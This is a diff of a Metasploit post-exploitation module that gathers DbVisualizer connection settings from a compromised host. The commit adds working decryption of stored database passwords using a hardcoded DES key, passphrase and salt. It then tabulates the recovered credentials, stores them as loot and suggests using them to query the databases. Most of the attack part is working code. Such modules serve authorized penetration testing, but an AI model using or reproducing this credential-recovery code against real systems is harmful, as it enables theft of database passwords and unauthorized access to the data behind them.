5
5
6
6
require 'msf/core'
7
7
require 'msf/core/auxiliary/report'
8
+ require 'openssl'
9
+ require 'digest/md5'
8
10
9
11
class Metasploit3 < Msf ::Post
10
12
@@ -17,7 +19,7 @@ def initialize(info={})
17
19
'Name' => 'Multi Gather DbVisualizer Connections Settings' ,
18
20
'Description' => %q{
19
21
DbVisualizer stores the user database configuration in dbvis.xml.
20
- This module retrieves the connections settings from this file.
22
+ This module retrieves the connections settings from this file and decrypts the encrypted passwords .
21
23
} ,
22
24
'License' => MSF_LICENSE ,
23
25
'Author' => [ 'David Bloom' ] , # Twitter: @philophobia78
@@ -28,14 +30,13 @@ def initialize(info={})
28
30
29
31
def run
30
32
31
-
32
33
oldversion = false
33
34
34
35
case session . platform
35
36
when /linux/
36
- user = session . shell_command ( " whoami" ) . chomp
37
+ user = session . shell_command ( ' whoami' ) . chomp
37
38
print_status ( "Current user is #{ user } " )
38
- if ( user =~ /root/ )
39
+ if user =~ /root/
39
40
user_base = "/root/"
40
41
else
41
42
user_base = "/home/#{ user } /"
@@ -50,11 +51,10 @@ def run
50
51
dbvis_file = user_profile + "\\ .dbvis\\ config70\\ dbvis.xml"
51
52
end
52
53
53
-
54
54
unless file? ( dbvis_file )
55
55
# File not found, we next try with the old config path
56
56
print_status ( "File not found: #{ dbvis_file } " )
57
- print_status ( " This could be an older version of dbvis, trying old path" )
57
+ print_status ( ' This could be an older version of dbvis, trying old path' )
58
58
case session . platform
59
59
when /linux/
60
60
dbvis_file = "#{ user_base } .dbvis/config/dbvis.xml"
@@ -68,7 +68,6 @@ def run
68
68
oldversion = true
69
69
end
70
70
71
-
72
71
print_status ( "Reading: #{ dbvis_file } " )
73
72
print_line ( )
74
73
raw_xml = ""
@@ -89,20 +88,14 @@ def run
89
88
end
90
89
91
90
if db_table . rows . empty?
92
- print_status ( " No database settings found" )
91
+ print_status ( ' No database settings found' )
93
92
else
94
- print_line ( " \n " )
93
+ print_line
95
94
print_line ( db_table . to_s )
96
- print_good ( " Try to query listed databases with dbviscmd.sh (or .bat) -connection <alias> -sql <statements> and have fun !" )
95
+ print_good ( ' Try to query listed databases with dbviscmd.sh (or .bat) -connection <alias> -sql <statements> and have fun!' )
97
96
print_line ( )
98
- # store found databases
99
- p = store_loot (
100
- "dbvis.databases" ,
101
- "text/csv" ,
102
- session ,
103
- db_table . to_csv ,
104
- "dbvis_databases.txt" ,
105
- "dbvis databases" )
97
+ # Store found databases in loot
98
+ p = store_loot ( 'dbvis.databases' , 'text/csv' , session , db_table . to_csv , 'dbvis_databases.txt' , 'dbvis databases' )
106
99
print_good ( "Databases settings stored in: #{ p . to_s } " )
107
100
end
108
101
@@ -111,12 +104,11 @@ def run
111
104
print_good "dbvis.xml saved to #{ p . to_s } "
112
105
end
113
106
114
-
115
107
# New config file parse function
116
108
def parse_new_config_file ( raw_xml )
117
109
118
110
db_table = Rex ::Ui ::Text ::Table . new (
119
- 'Header' => "Dbvis Databases" ,
111
+ 'Header' => "DbVisualizer Databases" ,
120
112
'Indent' => 2 ,
121
113
'Columns' =>
122
114
[
@@ -127,17 +119,18 @@ def parse_new_config_file(raw_xml)
127
119
"Database" ,
128
120
"Namespace" ,
129
121
"Userid" ,
122
+ "Password"
130
123
] )
131
124
132
125
dbs = [ ]
133
126
db = { }
134
127
dbfound = false
135
- versionFound = false
128
+ version_found = false
136
129
# fetch config file
137
130
raw_xml . each_line do |line |
138
131
139
- if versionFound == false
140
- vesrionFound = find_version ( line )
132
+ if version_found == false
133
+ version_found = find_version ( line )
141
134
end
142
135
143
136
if line =~ /<Database id=/
@@ -157,37 +150,43 @@ def parse_new_config_file(raw_xml)
157
150
158
151
if dbfound == true
159
152
# get the alias
160
- if ( line =~ /<Alias>([\S +\s +]+)<\/ Alias>/i )
153
+ if line =~ /<Alias>([\S +\s +]+)<\/ Alias>/i
161
154
db [ :Alias ] = $1
162
155
end
163
156
164
157
# get the type
165
- if ( line =~ /<Type>([\S +\s +]+)<\/ Type>/i )
158
+ if line =~ /<Type>([\S +\s +]+)<\/ Type>/i
166
159
db [ :Type ] = $1
167
160
end
168
161
169
162
# get the user
170
- if ( line =~ /<Userid>([\S +\s +]+)<\/ Userid>/i )
163
+ if line =~ /<Userid>([\S +\s +]+)<\/ Userid>/i
171
164
db [ :Userid ] = $1
172
165
end
173
166
167
+ # get user password
168
+ if line =~ /<Password>([\S +\s +]+)<\/ Password>/i
169
+ enc_password = $1
170
+ db [ :Password ] = decrypt_password ( enc_password )
171
+ end
172
+
174
173
# get the server
175
- if ( line =~ /<UrlVariable UrlVariableName="Server">([\S +\s +]+)<\/ UrlVariable>/i )
174
+ if line =~ /<UrlVariable UrlVariableName="Server">([\S +\s +]+)<\/ UrlVariable>/i
176
175
db [ :Server ] = $1
177
176
end
178
177
179
178
# get the port
180
- if ( line =~ /<UrlVariable UrlVariableName="Port">([\S +]+)<\/ UrlVariable>/i )
179
+ if line =~ /<UrlVariable UrlVariableName="Port">([\S +\s + ]+)<\/ UrlVariable>/i
181
180
db [ :Port ] = $1
182
181
end
183
182
184
183
# get the database
185
- if ( line =~ /<UrlVariable UrlVariableName="Database">([\S +\s +]+)<\/ UrlVariable>/i )
184
+ if line =~ /<UrlVariable UrlVariableName="Database">([\S +\s +]+)<\/ UrlVariable>/i
186
185
db [ :Database ] = $1
187
186
end
188
187
189
188
# get the Namespace
190
- if ( line =~ /<UrlVariable UrlVariableName="Namespace">([\S +\s +]+)<\/ UrlVariable>/i )
189
+ if line =~ /<UrlVariable UrlVariableName="Namespace">([\S +\s +]+)<\/ UrlVariable>/i
191
190
db [ :Namespace ] = $1
192
191
end
193
192
end
@@ -196,40 +195,40 @@ def parse_new_config_file(raw_xml)
196
195
# Fill the tab and report eligible servers
197
196
dbs . each do |db |
198
197
if ::Rex ::Socket . is_ipv4? ( db [ :Server ] . to_s )
199
- print_good ( "Reporting #{ db [ :Server ] } " )
198
+ print_good ( "Reporting #{ db [ :Server ] } " )
200
199
report_host ( :host => db [ :Server ] ) ;
201
200
end
202
201
203
- db_table << [ db [ :Alias ] , db [ :Type ] , db [ :Server ] , db [ :Port ] , db [ :Database ] , db [ :Namespace ] , db [ :Userid ] ]
202
+ db_table << [ db [ :Alias ] , db [ :Type ] , db [ :Server ] , db [ :Port ] , db [ :Database ] , db [ :Namespace ] , db [ :Userid ] , db [ :Password ] ]
204
203
end
205
204
return db_table
206
205
end
207
206
208
-
209
207
# New config file parse function
210
208
def parse_old_config_file ( raw_xml )
211
209
212
210
db_table = Rex ::Ui ::Text ::Table . new (
213
- 'Header' => "Dbvis Databases" ,
211
+ 'Header' => 'DbVisualizer Databases' ,
214
212
'Indent' => 2 ,
215
213
'Columns' =>
216
214
[
217
- "Alias" ,
218
- "Type" ,
219
- "Url" ,
220
- "Userid" ,
215
+ 'Alias' ,
216
+ 'Type' ,
217
+ 'URL' ,
218
+ 'UserID' ,
219
+ 'Password'
221
220
] )
222
221
223
222
dbs = [ ]
224
223
db = { }
225
224
dbfound = false
226
- versionFound = false
225
+ version_found = false
227
226
228
227
# fetch config file
229
228
raw_xml . each_line do |line |
230
229
231
- if versionFound == false
232
- vesrionFound = find_version ( line )
230
+ if version_found == false
231
+ vesrion_found = find_version ( line )
233
232
end
234
233
235
234
if line =~ /<Database id=/
@@ -243,24 +242,31 @@ def parse_old_config_file(raw_xml)
243
242
244
243
if dbfound == true
245
244
# get the alias
246
- if ( line =~ /<Alias>([\S +\s +]+)<\/ Alias>/i )
245
+ if line =~ /<Alias>([\S +\s +]+)<\/ Alias>/i
247
246
db [ :Alias ] = $1
248
247
end
249
248
250
249
# get the type
251
- if ( line =~ /<Type>([\S +\s +]+)<\/ Type>/i )
250
+ if line =~ /<Type>([\S +\s +]+)<\/ Type>/i
252
251
db [ :Type ] = $1
253
252
end
254
253
255
254
# get the user
256
- if ( line =~ /<Userid>([\S +\s +]+)<\/ Userid>/i )
255
+ if line =~ /<Userid>([\S +\s +]+)<\/ Userid>/i
257
256
db [ :Userid ] = $1
258
257
end
259
258
260
- # get the user
261
- if ( line =~ /<Url>([\S +\s +]+)<\/ Url>/i )
259
+ #get the user password
260
+ if line =~ /<Password>([\S +\s +]+)<\/ Password>/i
261
+ enc_password = $1
262
+ db [ :Password ] = decrypt_password ( enc_password )
263
+ end
264
+
265
+ # get the server URL
266
+ if line =~ /<Url>(\S +)<\/ Url>/i
262
267
db [ :Url ] = $1
263
268
end
269
+
264
270
end
265
271
end
266
272
@@ -277,14 +283,43 @@ def parse_old_config_file(raw_xml)
277
283
return db_table
278
284
end
279
285
280
-
281
286
def find_version ( tag )
282
287
found = false
283
- if ( tag =~ /<Version>([\S +\s +]+)<\/ Version>/i )
284
- print_good ( "DbVisualizer version : #{ $1} " )
288
+ if tag =~ /<Version>([\S +\s +]+)<\/ Version>/i
285
289
found = true
290
+ print_good ( "DbVisualizer version: #{ $1} " )
291
+ end
292
+ found
293
+ end
294
+
295
+ def decrypt_password ( enc_password )
296
+ enc_password = Rex ::Text . decode_base64 ( enc_password )
297
+ dk , iv = get_derived_key
298
+ des = OpenSSL ::Cipher . new ( 'DES-CBC' )
299
+ des . key = dk
300
+ des . iv = iv
301
+
302
+ des . update ( enc_password )
303
+ end
304
+
305
+ def get_derived_key
306
+ key = passphrase + salt
307
+ iteration_count . times do
308
+ key = Digest ::MD5 . digest ( key )
286
309
end
287
- return found
310
+ return key [ 0 , 8 ] , key [ 8 , 8 ]
311
+ end
312
+
313
+ def salt
314
+ [ -114 , 18 , 57 , -100 , 7 , 114 , 111 , 90 ] . pack ( 'C*' )
315
+ end
316
+
317
+ def passphrase
318
+ 'qinda'
319
+ end
320
+
321
+ def iteration_count
322
+ 10
288
323
end
289
324
290
325
end
0 commit comments